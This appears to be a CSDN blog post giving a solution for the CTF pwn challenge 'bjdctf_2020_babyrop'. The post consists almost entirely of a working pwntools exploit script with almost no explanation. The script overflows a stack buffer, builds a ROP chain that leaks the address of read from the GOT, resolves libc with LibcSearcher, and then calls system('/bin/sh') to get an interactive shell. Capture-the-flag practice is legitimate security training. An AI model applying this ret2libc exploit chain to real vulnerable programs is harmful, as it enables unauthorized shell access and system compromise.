bjdctf_2020_babyrop

最新推荐文章于 2022-10-27 10:12:51 发布

、moddemod

最新推荐文章于 2022-10-27 10:12:51 发布

阅读量412

点赞数

分类专栏： pwn 文章标签： bjdctf babyrop

本文链接：https://blog.csdn.net/weixin_43833642/article/details/106933387

版权

pwn 专栏收录该内容

66 篇文章 1 订阅

订阅专栏

在这里插入图片描述
exp

from pwn import *
from LibcSearcher import *

context(log_level='debug')

proc_name = './bjdctf_2020_babyrop'
p = process(proc_name)
# p = remote('node3.buuoj.cn', 28227)
elf = ELF(proc_name)
read_got = elf.got['read']
puts_plt = elf.plt['puts']
main_addr = elf.sym['main']
pop_rdi_ret = 0x400733
payload = flat(['a' * (0x20 + 8), p64(pop_rdi_ret), p64(read_got), p64(puts_plt), p64(main_addr)])
p.sendafter('story!', payload)
p.recv()
read_addr = u64(p.recv(6).ljust(0x8, b'\x00'))
log.info(hex(read_addr))
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
payload1 = flat(['a' * (0x20 + 8), p64(pop_rdi_ret), p64(str_bin_sh), p64(system_addr)])
p.sendafter('story!', payload1)
p.interactive()